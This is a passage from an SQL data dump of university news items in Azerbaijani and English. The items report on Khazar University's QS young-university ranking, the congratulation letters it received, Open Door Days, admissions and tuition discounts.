with less than 50 years of experience) released on July 14 by the International QS, the organization that evaluates higher education in the world.&nbsp;</p><p>The news can be read via this link: <a href=\"http://euras-edu.org/guest-blog-post-azerbaijani-higher-education-system-by-prof-hamlet-isaxanli-khazar-university/\" target=\"_blank\">http://euras-edu.org/guest-blog-post-azerbaijani-higher-education-system-by-prof-hamlet-isaxanli-khazar-university/</a></p>'),(4046,2365,'en','Congratulation Letter by Mr. Saeed Khan Mohmand, Pakistani ambassador','On August 9, 2017, Mr. Saeed Khan Mohmand, Ambassador Extraordinary and Plenipotentiary of the Islamic Republic of Pakistan to Azerbaijan, sent a letter of...','<p>On August 9, 2017, Mr. Saeed Khan Mohmand, Ambassador Extraordinary and Plenipotentiary of the Islamic Republic of Pakistan to Azerbaijan, sent a letter of congratulation to Professor Hamlet Isakhanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees.</p><p>He congratulated Khazar University on the inclusion in the list of the world\'s 150 best young universities in the rankings released by the International QS organization and wished success and new achievements in its future activities.</p>'),(4047,2364,'en','Open Door Days continue','The Open Door Days, started on 2 August, continue. A large number of abiturients, parents, secondary school teachers and other parties, who were interested in...','<p>The Open Door Days, started on 2 August, continue. A large number of abiturients, parents, secondary school teachers and other parties, who were interested in, have participated till today. The Open Door Days will end on 10 August.</p>'),(4048,2366,'az','Millət vəklili Vahid Əhmədovun təbriki:  “Xəzər Universitetinin bu uğuru bütün Azərbaycanın uğurudur”','Moderator.az xəbər verir ki, 2017-ci ilin  14 iyul tarixində dünyada ali təhsili dəyərləndirən beynəlxalq QS təşkilatı “QS Top 50 Under 50” illik universitet reytinqini açıqlayıb...','<p>2017-ci il avqustun 9-da Moderator.az saytı Xəzər Universitetinin dünyanın 150 ən yaxşı gənc universiteti arasında Azərbaycandan yer alan yeganə universitet olması münasibətilə millət vəkili Vahid Əhmədovun təbrikini yerləşdirmişdir:</p><p>“Xəzər Universitetinin 53 ölkənin gənc universitetləri arasında ən yaxşı universitetlərdən biri kimi belə bir mötəbər nəticə qazanması, heç şübhəsiz ki, çox böyük uğurdur. Bu, həmin universitetin öz gücünü, imkanlarını beynəlxalq səviyyədə təsdiqləməsi, özünü dünya miqyaslı universitetlər sırasına qəbul etdirməsi deməkdir. Geniş anlamda isə bu uğur Xəzər Universiteti ilə yanaşı, həm də doğma Azərbaycanınımızın, onun təhsil sisteminin nailiyyətidir.</p><p>Mən bu münasibətlə həm sözügedən universitetin təsisçisi professor Hamlet İsaxanlını, həm də həmin universitetin dəyərli müəllim-tələbə kontingentini təbrik edir, onlara yeni uğurlar, nailiyyətlər arzulayıram. Hesab edirəm ki, Xəzər Universitetinin Azərbaycan təhsili adına ortaya qoyduğu bu nəticə ölkə prezidenti cənab İlham Əliyevin təhsilin inkişafına göstərdiyi müstəsna diqqət və qayğının nəticəsidir. Hansı ki, ölkəmizdəki bütün elmi müəssisələr, təhsil ocaqları, onların əməkdaşları daim bu diqqət və qayğını öz üzərlərində hiss edir.</p><p>Düşünürəm ki, Xəzər Universitetinin beynəlxalq QS reytinqində yer alması bütövlükdə Azərbaycan təhsilinin inklişaf dinamikasının təbliği, onun dünya təhsil sisteminə inteqrasiyası baxımından da mühüm addımdır. Xəzər Universitetinin bu uğuru ölkəmizin təhsil sisteminə marağı artıracaq, dünyanın ən müxtəlif dövlətlərindən universitetlərimizə tələbə axınını sürətləndirəcəkdir.</p><p>Mən bir daha bu böyük uğur münasibətilə Xəzər Universitetinin bütün kolektivini təbrik edir, onlara yeni-yeni uğurlar arzu edirəm. Arzu edirəm ki, Xəzər Universiteti bundan sonra da beynəlxalq reytinq cədvəllərində əldə etdiyi qabaqcıl yerlərlə bütün xalqımızı qürurlandırsın, bizlərə sevinc bəxş etsin”.</p><p>Xəbərin tam mətnini bu linkdə oxumaq olar: <a href=\"http://www.moderator.az/news/187535.html\" target=\"_blank\">http://www.moderator.az/news/187535.html</a></p>'),(4049,2358,'en','Meeting at the ‘Kainat’ Education Centre','On July 28, 2017, the ‘Kainat’ Education Centre hosted a meeting with abiturients, parents, teachers and employees of Khazar University...','<p>On July 28, 2017, the ‘Kainat’ Education Centre hosted a meeting with abiturients, parents, teachers and employees of Khazar University.</p><p>The meeting was attended by Alovsat Amirbeyli, Director for Public Relations and Media; Jeyhun Mammadov, Dean of the School of Economics and Management; Vefa Aslanova, Dean’s assistant of the School of Engineering and Applied Sciences; Goshgar Maharramov, Head of the Department of Education; Irada Khalilova, Head of the Department of Biology and Valida Karimova, Dean’s assistant of the School of Humanities and Social Sciences. They provided the abiturients with detailed information about Khazar University, responded to their questions and handed out the booklets.</p>'),(4050,2366,'en','Congratulation of MP Vahid Ahmedov ‘This success of Khazar University is the success of the whole Azerbaijan’','On August 9, 2017, moderator.az, news website, released the congrulations of MP Vahid Ahmedov...','<p>On August 9, 2017, moderator.az, news website, released the congrulations&nbsp;of MP Vahid Ahmedov on the inclusion of Khazar University in the list of the world\'s 150 best young universities.</p><p>&nbsp;\"It is undoubtedly a great achievement that Khazar University has gained &nbsp;a reputation of becoming one of the best universities among the young universities in 53 countries. This means that the university proves its strength and capacity on an international level and accepts itself as a world-class university. In the broadest sense, this success, along with Khazar University, is the achievement of Azerbaijan, its educational system.&nbsp;</p><p>I congratulate Professor Hamlet Isakhanli, the founder of the university, as well as the valuable staff and the students of this university and wish them success and new achievements. I think the achievement of Khazar University on behalf of Azerbaijan education is the result of the exceptional attention and care of President Ilham Aliyev to the development of education in Azerbaijan which is constantly felt on all scientific, educational institutions and their staff in our country.&nbsp;</p><p>I strongly believe that the presence of Khazar University in the international QS rankings is a significant step in promoting the inclusive dynamics of Azerbaijani education in terms of integrating it into the world education system. This success of Khazar University will increase the interest in the education system of our country and will accelerate the flow of students to our universities from the most diverse countries around the world.</p><p>I once again congratulate Khazar University on this occasion and wish them new success. I hope Khazar University will continue to make our nation feel proud with its leading position in international rankings and make us happy. \"&nbsp;</p><p>The full article can be read via this link: <a href=\"http://www.moderator.az/news/187535.html\" target=\"_blank\">http://www.moderator.az/news/187535.html</a></p>'),(4051,2367,'az','Lerik Rayon İcra Hakimiyyəti Başçısının müavini Arzu Vəliməmmədovanın təbrik məktubu','10 avqust 2017-ci tarixində Azərbaycan Respublikası Lerik Rayon İcra Hakimiyyəti Başçısının müavini Arzu xanım Vəliməmmədova  Xəzər Universitəsinin təsisçisi, Direktorlar və Qəyyumlar Şurasının Sədri, prof. Hamlet İsaxanlıya...','<p>10 avqust 2017-ci tarixində Azərbaycan Respublikası&nbsp;Lerik Rayon İcra Hakimiyyəti Başçısının müavini Arzu xanım Vəliməmmədova &nbsp;Xəzər Universitəsinin təsisçisi, Direktorlar və Qəyyumlar Şurasının Sədri, prof. Hamlet İsaxanlıya &nbsp;təbrik məktubu göndərmişdir. O, Xəzər Universitəsini Beynəlxalq&nbsp; QS təşkilatının reytinqində dünyanın 150 ən yaxşı gənc universiteti siyahısına daxil edilməsi münasibəti ilə təbrik etmiş, gələcək fəaliyyətində uğurlar və yeni-yeni nailiyyətlər arzulamışdır.</p>'),(4052,2367,'en','Congratulation Letter by Arzu Valimammadova, Deputy Head of Lerik Region Executive Power','On August 10, 2017, Arzu Valimammadova, Deputy Head of Lerik Region Executive Power , sent a letter of congratulation to Professor Hamlet Isakhanli, the founder of','<p>On August 10, 2017, Arzu Valimammadova, Deputy Head of Lerik Region Executive Power , sent a letter of congratulation to Professor Hamlet Isakhanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees.</p><p>She congratulated Khazar University on the inclusion in the list of the world\'s 150 best young universities in the rankings released by the International QS organization and wished success and new achievements in its future activities.</p>'),(4053,2368,'az','Xəzər Universitəsində Açıq Qapı Günləri sona çatdı','Avqustun 2-dən başlayan Açıq Qapı günləri avqustun 10-da sona çatdı. Açıq Qapı günlərində çoxlu sayda abituriyent, valideyn, müəllim və digər vətəndaşlar...','<p>Avqustun 2-dən başlayan Açıq Qapı günləri avqustun 10-da sona çatdı. Açıq Qapı günlərində çoxlu sayda abituriyent, valideyn, müəllim və digər vətəndaşlar &nbsp;Xəzər Universitəsində oldular. Onlara universitədə tədris edilən ixtisalarla bağlı geniş məlumatlar verildi, arzu edən abituriyentlər kitabxana, laboratoriya və sinif otaqları ilə yaxından tanış oldular. Xəzər universitəsində fəaliyyət göstərən müvafiq qurumların nümayəndələri tərəfindən abituriyentlərə broşurlar paylandı. &nbsp;</p>'),(4054,2368,'en','Open Door Days ended at Khazar University','The Open Door days, which started on 2 August, ended on 10 August. A large number of abiturients, parents, secondary school teachers and other citizens visited Khazar University...','<p>The Open Door days, which started on 2 August, ended on 10 August. A large number of abiturients, parents, secondary school teachers and other citizens visited Khazar University during these days.</p><p>They were provided with extensive information on the university-specific qualifications, and the desirous abiturients got closely familiar with the library, laboratory and classrooms. The brochures containing information about specialties were distributed to the abiturients by Khazar University staff members.</p>'),(4055,2369,'az','Bakıda türk dünyasının ortaq tarixi dövrlərinə dair beynəlxalq elmi konfrans təşkil olunacaq','Sentyabrın 12-dən 14-dək Azərbaycan Milli Elmlər Akademiyasının (AMEA) Rəyasət Heyətində “Şərqi və qərbi türk dünyasının ortaq tarixi dövrləri və münasibətləri”...','<p>Sentyabrın 12-dən 14-dək Azərbaycan Milli Elmlər Akademiyasının (AMEA) Rəyasət Heyətində “Şərqi və qərbi türk dünyasının ortaq tarixi dövrləri və münasibətləri” mövzusunda beynəlxalq elmi konfrans keçiriləcək.</p><p>AMEA-dan&nbsp;<a href=\"http://azertag.az/\" target=\"_blank\">AZƏRTAC</a>-a bildiriblər ki, tədbir “INOCTE 2017-“Osmanlı tədqiqatlarında yeni tendensiyalar” beynəlxalq konqresi çərçivəsində reallaşdırılacaq.</p><p>Beynəlxalq konfrans AMEA, Təhsil Nazirliyi, Azərbaycan Dövlət Pedaqoji Universiteti, Xəzər Universiteti, Türkiyə Səlcuq Universiteti, Sütçü İmam Universiteti və Türk Tarix Qurumu tərəfindən təşkil olunacaq.</p><p>Konfrans barədə ətraflı məlumatı&nbsp;<a href=\"http://inocte.org/en/\">http://inocte.org/en/</a>&nbsp;linkindən əldə etmək olar.</p>'),(4056,2369,'en','Baku will host International Scientific Conference on Common Historical Periods of the Turkic World','The International Scientific Conference on \"Common Historical Periods and Relations of the East and West Turkic World\" will be held at the Presidium of the Azerbaijan...','<p>The International Scientific Conference on \"Common Historical Periods and Relations of the East and West Turkic World\" will be held at the Presidium of the Azerbaijan National Academy of Sciences (ANAS) from 12 to 14 September.</p><p>ANAS informed AZERTAC that the event will be held within the framework of ‘INOCTE 2017 - International New Tendencies Congress in Ottoman Researches’.</p><p>The International conference will be organized by ANAS, Ministry of Education, Azerbaijan State Pedagogical University, Khazar University, Selçuk University, Sütçüimam University and Turkish Historical Society. Detailed information on the conference can be found at <a href=\"http://inocte.org/en/\" target=\"_blank\">http://inocte.org/en/</a></p>'),(4057,2370,'az','HSE fakültəsinin əməkdaşının ABŞ-da növbəti elmi məqaləsi çap olunub','Xəzər Universiteti Humanitar və sosial elmlər (HSE) fakültəsinin dekan köməkçisi, universitetin doktorantı Validə Kərimovanın...','<p>Xəzər Universiteti Humanitar və sosial elmlər (HSE) fakültəsinin dekan köməkçisi, universitetin doktorantı Validə Kərimovanın “Multilingualism in Azerbaijan: the most preferred foreign languages in private universities of the country and its Socioeconomic aspects” adlı elmi məqaləsi ABŞ nəşr olunan “Science Publishing Group” nəşriyyat evinin “American Journal of Education and Technologies” adlı elmi jurnalın 2017-ci il iyul nömrəsində çap edilmişdir. Validə Kərimovanın tədqiqat işi 2015-2016 akademik tədris ili müddətində Xəzər Universteti və Qafqaz Universitetinin (hazırki Bakı Mühəndislik Universiteti) 301 tələbəsi arasında ən yaxşı xarici dilin təhlili mövzusunda aparılmış və iki özəl universitet tələbələri arasında ən yaxşı xarici dilin hansı olduğunu, xarici dili bilmə səviyyələrini müəyyənləşdirmişdir.  Tədqiqat işi ilə aşağıdakı linklər vasitəsilə yaxından tanış ola bilərsiniz:</p><p> <a href=\"http://www.sciencepublishinggroup.com/journal/paperinfo?journalid=538&amp;doi=10.11648/j.ajeit.20170104.13\" target=\"_blank\">http://www.sciencepublishinggroup.com/journal/paperinfo?journalid=538&amp;doi=10.11648/j.ajeit.20170104.13</a>&nbsp;</p><p>Məqaləni&nbsp;tam şəkildə PDF formatda <a href=\"/files/articles/10.11648.j.ajeit.20170104.13.pdf\" target=\"_blank\">burada</a> oxumaq olar.</p>'),(4058,2371,'az','“Xəzər”in dekanının Xeber365.com saytına müsahibəsi','2017-ci il avqustun 1-də Xeber365.com saytı Musavat.com saytı ilə birlikdə Türkiyə türkcəsinin regionda ortaq dilə çevrilməsi istiqamətində başladıqları yeni layihə...','<p>2017-ci il avqustun 1-də Xeber365.com saytı Musavat.com saytı ilə birlikdə Türkiyə türkcəsinin regionda ortaq dilə çevrilməsi istiqamətində başladıqları yeni layihə çərçivəsində Xəzər Universiteti Təhsil fakültəsinin dekanı, filologiya elmləri üzrə fəlsəfə doktoru Elza Səmədli ilə “Dilimizi bilməyənlərə Azərbaycan vətəndaşlığı verilməsin - dekandan təklif” sərlövhəli müsahibə dərc etmişdir.</p><p>Müsahibəni bu link vasitəsilə oxumaq oalr: <a href=\"http://xeber365.com/haber-dilimizi-bilm-y-nl-r-az-rbaycan-v-t-ndasligi-verilm-sin---dekandan-t-klif-9812.html#Kalibri\" target=\"_blank\">http://xeber365.com/haber-dilimizi-bilm-y-nl-r-az-rbaycan-v-t-ndasligi-verilm-sin---dekandan-t-klif-9812.html#Kalibri</a></p>'),(4059,2372,'az','Professor Hamlet İsaxanlının Sherg.az-ın sörğusuna cavabı','2017-ci il avqustun 17-də gündəlik ictimai-siyasi nəşr olan “Şərq” qəzetinin internet səhifəsində yüksək bal tapladıqlarına baxmayaraq ali məktəblərə qəbul olunmayan...','<p>2017-ci il avqustun 17-də gündəlik ictimai-siyasi nəşr olan “Şərq” qəzetinin internet səhifəsində yüksək bal tapladıqlarına baxmayaraq ali məktəblərə qəbul olunmayan abituriyentlərlə bağlı dərc olunmuş \"Kimisi ancaq həkim, kimisi də hüquqşünas olmaq istəyir” sərlövhəli analitik yazıda Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlının da Sherg.az-ın sörğusuna cavabı yer almışdır. Professor bildirmişdir ki, belə vəziyyətin yaranmasına səbəb həmin abituriyentlərin ancaq bir ixtisasa sahib olmaq həvəsi ilə bağlıdır və onlar ikinci mərhələdə bir-birinə yaxın fərqli ixtisaslar yazsalar, həmin yerlərdən birinə mütləq qəbul olunarlar.</p><p>Məqalənin tam mətnini bu link vasitəsilə oxumaq olar:</p><p><a href=\"http://www.sherg.az/site/id-35416/Kimisi_ancaq_h%C9%99kim,_kimisi_d%C9%99_h%C3%BCquq%C5%9F%C3%BCnas_olmaq_ist%C9%99yir#Kalibri\" target=\"_blank\">http://www.sherg.az/site/id-35416/Kimisi_ancaq_h%C9%99kim,_kimisi_d%C9%99_h%C3%BCquq%C5%9F%C3%BCnas_olmaq_ist%C9%99yir#Kalibri</a></p>'),(4060,2373,'az','Xəzər Universitetini seçən tələbələrin qeydiyyatı müvəffəqiyyətlə davam edir','Azərbaycan Respublikası Dövlət İmtahan Mərkəzinin keçirdiyi imtahanlarda uğur qazanaraq, Xəzər Universitetinə qəbul olunmuş abituriyentlər avqustun 15-dən seçdikləri...','<p>Azərbaycan Respublikası Dövlət İmtahan Mərkəzinin keçirdiyi imtahanlarda uğur qazanaraq, Xəzər Universitetinə qəbul olunmuş abituriyentlər avqustun 15-dən seçdikləri ixtisaslar üzrə sənədlərini təqdim etməyə başlamışlar. Sənədlərin qəbulu ilə əlaqədar olaraq universitetdə yaradılmış Qəbul Komissiyası hər gün səhər saat 10:00-dan axşam saat 17:00-a kimi (şənbə və bazar günləri xaric) sənədlərin qəbulunu həyata keçirir. Sənəd qəbuluna gələn abituriyentlər, valideynlər və universitet ilə maraqlanan digər bütün vətəndaşlar üçün hər cür şərait yardaılmışdır. Sənəd qəbulu uğurla davam edir. Dövlət İmtahan Mərkəzinin qərarına uyğun olaraq sənədlərin qəbulu avqustun 26-dək davam edəcək.</p>'),(4061,2374,'az','Millət Vəkili Aydın MİRZƏZADƏNİN  təbrik məktubu','18 avqust 2017-ci tarixində Azərbaycan Respublikasi Milli Məclisinin Deputatı Aydın Mirzəzadə  Xəzər Universitəsinin təsisçisi, Direktorlar və Qəyyumlar Şurasının Sədri, prof. Hamlet İsaxanlıya...','<p>18 avqust 2017-ci tarixində Azərbaycan Respublikasi<strong><em>&nbsp;</em></strong>Milli Məclisinin Deputatı Aydın Mirzəzadə &nbsp;Xəzər Universitəsinin təsisçisi, Direktorlar və Qəyyumlar Şurasının Sədri, prof. Hamlet İsaxanlıya &nbsp;təbrik məktubu göndərmişdir. O,<strong><em>&nbsp;</em></strong>&nbsp;şəxsən prof. Hamlet İsaxanlını və Xəzər Universitəsinin kollektivini &nbsp;Beynəlxalq&nbsp; QS təşkilatının reytinqində dünyanın 150 ən yaxşı gənc universiteti siyahısına daxil edilməsi münasibəti ilə təbrik etmiş, gələcək fəaliyyətində uğurlar və yeni-yeni nailiyyətlər arzulamışdır.</p>'),(4062,2375,'az','Xəbər saytlarında Xəzər Universitetində pullu oxuyan tələbələrə güzəştlər haqqında məlumat yayımlanıb','2017-ci il avqustun 17-də avropa.info, vetenim. info, kanal15, guzgupress.com, kreditplaza.az, mia.az, reportyor.az, aia.az, pia.az və digər saytlarda dərc olunmuş \"Pullu oxuyan tələbələrə hansı güzəştlər ediləcək?”...','<p>2017-ci il avqustun 17-də avropa.info, vetenim. info, kanal15, guzgupress.com, kreditplaza.az, mia.az, reportyor.az, aia.az, pia.az və digər saytlarda dərc olunmuş \"Pullu oxuyan tələbələrə hansı güzəştlər ediləcək?” adlı geniş xəbərdə bir neçə özəl universitetlə yanaşı, Xəzər Universitetində də müvafiq güzəştlər haqqında, sorğuya universitetdən alınmış cavaba əsasən, bu məlumat verilmişdir: “Xəzər Universitetində tələbələr üçün müxtəlif maliyyə yardımı proqramları mövcuddur. Bunlar təhsil haqqının ödənilməsində olan güzəştlər, adlı təqaüdlər və digər şəkildə həyata keçirilir. Qəbul imtаhаnlаrındа 500 və dаhа çох bаl tоplаyan (birinci tədris ilinin nəticələrinə görə tələbənin GPА 85-dən аz оlаrsа, univеrsitet bu güzəşti ləğv еtmək hüququnа mаlikdir), vаlidеynlərinin biri və yа hər ikisi Xəzər Universitetində işləyən, bir аilənin iki və dаhа çох üzvü “Xəzər”də təhsil аlan, hər iki vаlidеynindən məhrum оlmuş, univеrsitetdə təhsil аldığı dövrdə gözlənilməz hаdisə nəticəsində (məsələn, qəflətən vаlidеynini itirməsi və s) mаddi köməyə хüsusi еhtiyаcı olan tələbələrə maliyyə güzəşti edilir”.</p><p>Xəbərin tam mətnini aşağıdakı linklərdə oxumaq olar:</p><p><a href=\"http://www.avropa.info/az/post/185404.html#Kalibri\" target=\"_blank\">http://www.avropa.info/az/post/185404.html#Kalibri</a></p><p><a href=\"http://vetenim.info/?p=57940#Kalibri\" target=\"_blank\">http://vetenim.info/?p=57940#Kalibri</a></p><p><a href=\"http://kanal15.tv/2017/08/17/pullu-oxuyan-t%C9%99l%C9%99b%C9%99l%C9%99r%C9%99-hansi-guz%C9%99stl%C9%99r-edil%C9%99c%C9%99k/#Kalibri\" target=\"_blank\">http://kanal15.tv/2017/08/17/pullu-oxuyan-t%C9%99l%C9%99b%C9%99l%C9%99r%C9%99-hansi-guz%C9%99stl%C9%99r-edil%C9%99c%C9%99k/#Kalibri</a></p><p><a href=\"http://guzgupress.com/tehsil/3387-pullu-oxuyan-telebelere-hansi-guzeshtler-edilecek.html#Kalibri\" target=\"_blank\">http://guzgupress.com/tehsil/3387-pullu-oxuyan-telebelere-hansi-guzeshtler-edilecek.html#Kalibri</a></p><p><a href=\"http://kreditplaza.az/az/eco_az_news/pullu-oxuyan-t%C9%99l%C9%99b%C9%99l%C9%99r%C9%99-hansi-guz%C9%99stl%C9%99r-edil%C9%99c%C9%99k/#Kalibri\" target=\"_blank\">http://kreditplaza.az/az/eco_az_news/pullu-oxuyan-t%C9%99l%C9%99b%C9%99l%C9%99r%C9%99-hansi-guz%C9%99stl%C9%99r-edil%C9%99c%C9%99k/#Kalibri</a></p><p><a href=\"http://www.mia.az/w264719/.../#Kalibri\" target=\"_blank\">http://www.mia.az/w264719/.../#Kalibri</a>&nbsp;</p><p><a href=\"http://reportyor.az/?p=13679#Kalibri\" target=\"_blank\">http://reportyor.az/?p=13679#Kalibri</a>&nbsp;</p><p><a href=\"http://aia.az/tehsil/16389-pullu-oxuyan-telebelere-hansi-guzeshtler-edilecek.html#Kalibri\" target=\"_blank\">http://aia.az/tehsil/16389-pullu-oxuyan-telebelere-hansi-guzeshtler-edilecek.html#Kalibri</a></p><p><a href=\"http://www.pia.az/Pullu_oxuyan_telebelere_hansi_-209464-xeber.html#Kalibri\" target=\"_blank\">http://www.pia.az/Pullu_oxuyan_telebelere_hansi_-209464-xeber.html#Kalibri</a></p>'),(4063,2372,'en','Professor Hamlet Isakhanli’s response to the interview of Sherg.az','On August 17, 2017, a response by Professor Hamlet Isakhanli, the founder of Khazar University, Chairman of its Board of Directors and Trustees...','<p>On August 17, 2017, a response by Professor Hamlet Isakhanli, the founder of Khazar University, Chairman of its Board of Directors and Trustees, to the inteview of Sherg.az &nbsp;was released in the analytical article \"Someone wants to be a doctor and someone wants to be a lawyer \" which was published in regard to the abiturients who were not admitted to higher education institutions despite having a high score, on the website of \"Sharq\" newspaper, the daily social-political publication.&nbsp;</p><p>Professor said that the reason for such a situation was that the applicants were interested in having only one qualification, and if they wrote the different specialties in the second stage, they would definitely be admitted.&nbsp;</p><p>The full text of the article can be read via this link: <a href=\"http://www.sherg.az/site/id-35416/Kimisi_ancaq_h%C9%99kim,_kimisi_d%C9%99_h%C3%BCquq%C5%9F%C3%BCnas_olmaq_ist%C9%99yir#Kalibri\" target=\"_blank\">http://www.sherg.az/site/id-35416/Kimisi_ancaq_h%C9%99kim,_kimisi_d%C9%99_h%C3%BCquq%C5%9F%C3%BCnas_olmaq_ist%C9%99yir#Kalibri</a></p>'),(4064,2373,'en','Students enrolled in Khazar University are successfully continuing their registration','The abiturients, who succeeded in the exams conducted by the State Examination Centre of the Republic The abiturients, who succeeded in the exams ...','<p>The abiturients, who succeeded in the exams conducted by the State Examination Centre of the Republic The abiturients, who succeeded in the exams conducted by the State Examination Centre of the Republic of Azerbaijan and admitted to Khazar University, have started submitting documents on their chosen specialty since August 15, 2017. The Admission Committee, which has been created at the University for admission of documents, admits documents daily from 10:00 am to 5:00 pm (except Saturdays and Sundays). All suitable conditions have been created for abiturients, parents and all other citizens interested in the university. The admission of documents is in progress. In regard to the decision of the State Examination Centre, the admission of documents will last till August 26, 2017.  of Azerbaijan and admitted to Khazar University, have started submitting documents on their chosen specialty since August 15, 2017. The Admission Committee, which has been created at the University for admission of documents, admits documents daily from 10:00 am to 5:00 pm (except Saturdays and Sundays). All suitable conditions have been created for abiturients, parents and all other citizens interested in the university. The admission of documents is in progress. In regard to the decision of the State Examination Centre, the admission of documents will last till August 26, 2017.</p>'),(4065,2371,'en','Interview of ‘Khazar’s dean to xeber365.com news website','On August 1, 2017, xeber365.com website together with musavat.com website released an article, entitled...','<p>On August 1, 2017, xeber365.com website together with musavat.com website released an article, entitled ‘Those who do not know our language should not be given Azerbaijani citizenship – dean’s proposal’ by Dr. Elza Samadli, the dean of School of Education, within the framework of a new project of making Turkish language a &nbsp;common language in the region. &nbsp;&nbsp;</p><p>The interview can be read via this link: <a href=\"http://xeber365.com/haber-dilimizi-bilm-y-nl-r-az-rbaycan-v-t-ndasligi-verilm-sin---dekandan-t-klif-9812.html#Kalibri\" target=\"_blank\">http://xeber365.com/haber-dilimizi-bilm-y-nl-r-az-rbaycan-v-t-ndasligi-verilm-sin---dekandan-t-klif-9812.html#Kalibri</a></p>'),(4066,2370,'en','The next research article of the fellow of School of Humanities and Social Sciences is published in the USA','The research article ‘Multilingualism in Azerbaijan: the most preferred foreign languages in the country and its socioeconomic aspects’ by Valida Karimova, the assistant to...','<p>The research article ‘Multilingualism in Azerbaijan: the most preferred foreign languages in the country and its socioeconomic aspects’ by Valida Karimova, the assistant to the Dean of the School of Humanities and Social Sciences, a PhD student of the university, was published in the July, 2017, issue of the journal ‘American Journal of Education and Technologies’ by ‘Science Publishing Group’, the US Publishing House. The research work was conducted with 301 research participants, i.e. students from Khazar University and Qafqaz University (presently Baku Engineering University), during the 2015-2016 academic year, which analyzed the best foreign language and identified the foreign language proficiency level among the two private university students.</p><p>The research can be found in the following links:&nbsp;</p><p><a href=\"http://www.sciencepublishinggroup.com/journal/paperinfo?journalid=538&amp;doi=10.11648/j.ajeit.20170104.13\" target=\"_blank\">http://www.sciencepublishinggroup.com/journal/paperinfo?journalid=538&amp;doi=10.11648/j.ajeit.20170104.13&nbsp;</a></p><p><a href=\"http://www.khazar.org/files/articles/Valide_meqale.PDF\" target=\"_blank\">http://www.khazar.org/files/articles/Valide_meqale.PDF</a></p>'),(4067,2375,'en','News websites have released information on discounts for students studying at Khazar University','On August 17, 2017, in the article ‘Which discounts will be made for students with paid education?’ released by avropa.info, vetenim.info, kanal15, guzgupress.com...','<p>On August 17, 2017, in the article ‘Which discounts will be made for students with paid education?’ released by avropa.info, vetenim.info, kanal15, guzgupress.com, kreditplaza.az, mia.az, reportyor.az, aia.az, pia.az and other websites, the following information was provided based on the responses received from Khazar University on the relevant discounts: ‘There are various financial support programs for the students at Khazar University. These are carried out as the tuition fee discounts, scholarships, etc. The students, who scored more than 500 on the entrance exams (the university has the right to cancel this concession if the student has GPA less than 85 based on the results of the first academic year); whose one or both parents work for Khazar University; whose two or more members of the family study at Khazar University; the ones deprived of both parents; who need financial aid as a result of an unexpected turnover at the time of study at the university (for example, a sudden loss of a parent, etc) are financially privileged.</p><p>The full article can be read via the following links:</p><p style=\"background:undefined \"><a href=\"http://www.avropa.info/az/post/185404.html#Kalibri\" target=\"_blank\">http://www.avropa.info/az/post/185404.html#Kalibri</a></p><p><a href=\"http://vetenim.info/?p=57940#Kalibri\" target=\"_blank\">http://vetenim.info/?p=57940#Kalibri</a></p><p><a href=\"http://kanal15.tv/2017/08/17/pullu-oxuyan-t%C9%99l%C9%99b%C9%99l%C9%99r%C9%99-hansi-guz%C9%99stl%C9%99r-edil%C9%99c%C9%99k/#Kalibri\" target=\"_blank\">http://kanal15.tv/2017/08/17/pullu-oxuyan-t%C9%99l%C9%99b%C9%99l%C9%99r%C9%99-hansi-guz%C9%99stl%C9%99r-edil%C9%99c%C9%99k/#Kalibri</a></p><p><a href=\"http://guzgupress.com/tehsil/3387-pullu-oxuyan-telebelere-hansi-guzeshtler-edilecek.html#Kalibri\" target=\"_blank\">http://guzgupress.com/tehsil/3387-pullu-oxuyan-telebelere-hansi-guzeshtler-edilecek.html#Kalibri</a></p><p><a href=\"http://kreditplaza.az/az/eco_az_news/pullu-oxuyan-t%C9%99l%C9%99b%C9%99l%C9%99r%C9%99-hansi-guz%C9%99stl%C9%99r-edil%C9%99c%C9%99k/#Kalibri\" target=\"_blank\">http://kreditplaza.az/az/eco_az_news/pullu-oxuyan-t%C9%99l%C9%99b%C9%99l%C9%99r%C9%99-hansi-guz%C9%99stl%C9%99r-edil%C9%99c%C9%99k/#Kalibri</a></p><p><a href=\"http://www.mia.az/w264719/.../#Kalibri\" target=\"_blank\">http://www.mia.az/w264719/.../#Kalibri</a>&nbsp;</p><p><a href=\"http://reportyor.az/?p=13679#Kalibri\" target=\"_blank\">http://reportyor.az/?p=13679#Kalibri</a>&nbsp;</p><p><a href=\"http://aia.az/tehsil/16389-pullu-oxuyan-telebelere-hansi-guzeshtler-edilecek.html#Kalibri\" target=\"_blank\">http://aia.az/tehsil/16389-pullu-oxuyan-telebelere-hansi-guzeshtler-edilecek.html#Kalibri</a></p><p><a href=\"http://www.pia.az/Pullu_oxuyan_telebelere_hansi_-209464-xeber.html#Kalibri\" target=\"_blank\">http://www.pia.az/Pullu_oxuyan_telebelere_hansi_-209464-xeber.html#Kalibri</a></p>  <p><br></p>'),(4068,2374,'en','Congratulation Letter by MP Aydin Mirzazade','On August 18, 2017, Aydin Mirzazade, the Member of Milli Majlis of the Republic of Azerbaijan, sent a letter of congratulation to Professor Hamlet Isakhanli, the founder...','<p>On August 18, 2017, Aydin Mirzazade, the Member of Milli Majlis of the Republic of Azerbaijan, sent a letter of congratulation to Professor Hamlet Isakhanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees. He personally congratulated Prof. Hamlet Isakhanli and the University Staff on the inclusion of Khazar University in the list of the world\'s 150 best young universities in the rankings released by the International QS organization and wished success and new achievements in its future activities.</p>'),(4069,2376,'az','Professor Hamlet İsaxanlının “Şərq” qəzetinə müsahibəsi','2017-ci il avqustun 21-də gündəlik ictimai-siyasi nəşr olan “Şərq” qəzetinin internet səhifəsində Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlının...','<p>2017-ci il avqustun 21-də gündəlik ictimai-siyasi nəşr olan “Şərq” qəzetinin internet səhifəsində Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlının \"Xarici tələbələr ali məktəblərin plan yerlərində göstərilmir\" sərlövhəli müsahibəsi dərc olunmuşdur. Müsahibədə professor özəl ali məktəblərə plan yerlərinin dolmamasının obyektiv səbəblərini izah edir.</p><p>Müsahibəni bu link vasitəsilə oxumaq olar: <a 